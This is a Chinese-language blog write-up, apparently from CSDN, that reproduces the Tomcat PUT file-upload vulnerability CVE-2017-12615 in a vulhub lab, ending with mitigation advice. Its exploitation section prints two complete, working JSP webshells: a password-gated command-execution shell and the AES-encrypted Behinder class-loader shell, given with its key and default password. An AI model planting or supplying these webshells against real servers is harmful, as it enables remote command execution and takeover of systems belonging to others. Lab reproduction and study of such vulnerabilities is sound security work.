Tomcat PUT方法任意写漏洞复现

目录

漏洞介绍

漏洞描述

漏洞等级

漏洞编号

受影响版本

环境部署

设备信息

靶场搭建

漏洞复现

访问主页

测试PUT方法

 测试上传jsp脚本

失败原因

重新上传jsp测试脚本

上传jsp木马-命令执行

上传成功且执行命令

上传冰蝎自带jsp木马

使用冰蝎连接shell.jsp脚本

漏洞防护

声明


漏洞介绍

漏洞描述

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法

漏洞等级

漏洞编号

CVE-2017-12615

受影响版本

漏洞影响全部的 Tomcat 版本:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

环境部署

设备信息

靶机:192.168.111.147

攻击机:192.168.111.138

靶场搭建

通过docker搭建的vulhub靶场进行漏洞复现

漏洞复现

 访问主页

测试PUT方法

使用PUT方法上传1.txt文件测试PUT方法能否使用

 测试上传jsp脚本

上传1.jsp脚本失败

失败原因

  1. org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
  2. org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
  3. 所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
  4. 但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件,这也就是所谓的CVE-2017-12615漏洞。

重新上传jsp测试脚本

上传成功

 上传jsp木马-命令执行

<%
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

上传成功且执行命令

上传冰蝎自带jsp木马

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

使用冰蝎连接shell.jsp脚本

默认密码:rebeyond

 漏洞防护

  1. 配置readonly值为True或注释参数,禁止使用PUT方法并重启tomcat。
  2. 通过WAF阻止PUT和DELETE危险请求
  3. 静止用户上传JSP脚本

声明

该博客根据君莫hacker博主博客编写,如有侵权立即删除。

原博客地址:Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_君莫hacker的博客-CSDN博客

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值